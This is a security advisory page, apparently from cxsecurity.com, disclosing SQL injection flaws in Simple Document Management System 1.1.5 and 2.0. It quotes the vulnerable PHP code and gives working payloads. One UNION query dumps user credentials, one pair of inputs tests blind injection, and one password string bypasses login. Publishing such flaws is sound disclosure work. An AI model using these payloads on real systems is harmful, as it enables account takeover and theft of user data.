Simple Document Management System 1.1.5 / 2.0 SQL Injection

2012.06.17
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

Simple Document Management System 1.1.5 / 2.0 Multiple Vulnerabilities bug found by Jose Luis Gongora Fernandez (a.k.a) JosS twitter: @JossGongora contact: sys-project[at]hotmail[dot]com website: http://www.hack0wn.com/ download: http://mirror.us.cc.com.au/pub/cafuego/sdms ----------- version 2.0 ----------- ~~ [Multiple SQL] /list.php?folder_id=['foo] /detail.php?doc_id=['foo] <code> line 13: if(isset($_GET['folder_id'])) $folder_id = $_GET['folder_id']; ... line 48: if(isset($order)) { $query = "SELECT id,name FROM folders WHERE parent=$folder_id ORDER BY ". rawurldecode($order); } else { $query = "SELECT id,name FROM folders WHERE parent=$folder_id"; } </code> .xpl! :: /list.php?folder_id=-10+union+all+select+1,1,1,concat_ws(char(58),user,pass,name,email),1,1,1,1,1,1,0+from+users-- ~~ [Blind] /user_photo.php?view=[foo] <code> $query = "SELECT photo,mime FROM users_info WHERE id=".$_GET['view']; $res = mysql_query($query, $sql); if( mysql_num_rows($res) == 1 ) { $row = mysql_fetch_array($res); header( "Content-type: $row[mime]" ); echo "". base64_decode($row[photo]) .""; } else { echo "Badness!\n"; } </code> .poc! :: /user_photo.php?view=2+and+1=1 /user_photo.php?view=2+and+1=2 ------------- version 1.1.5 ------------- ~~ [Auth Bypass] /login.php <code> $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'"); $row = @mysql_fetch_array($result); if( $row[0] != 0 ) { header("Location: index.php"); exit; } $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'"); $row = @mysql_fetch_array($result); $id = $row[id]; $name = $row[name]; </code> .xpl! :: user: Admin password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users -- __h0__

References:

http://mirror.us.cc.com.au/pub/cafuego/sdms


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top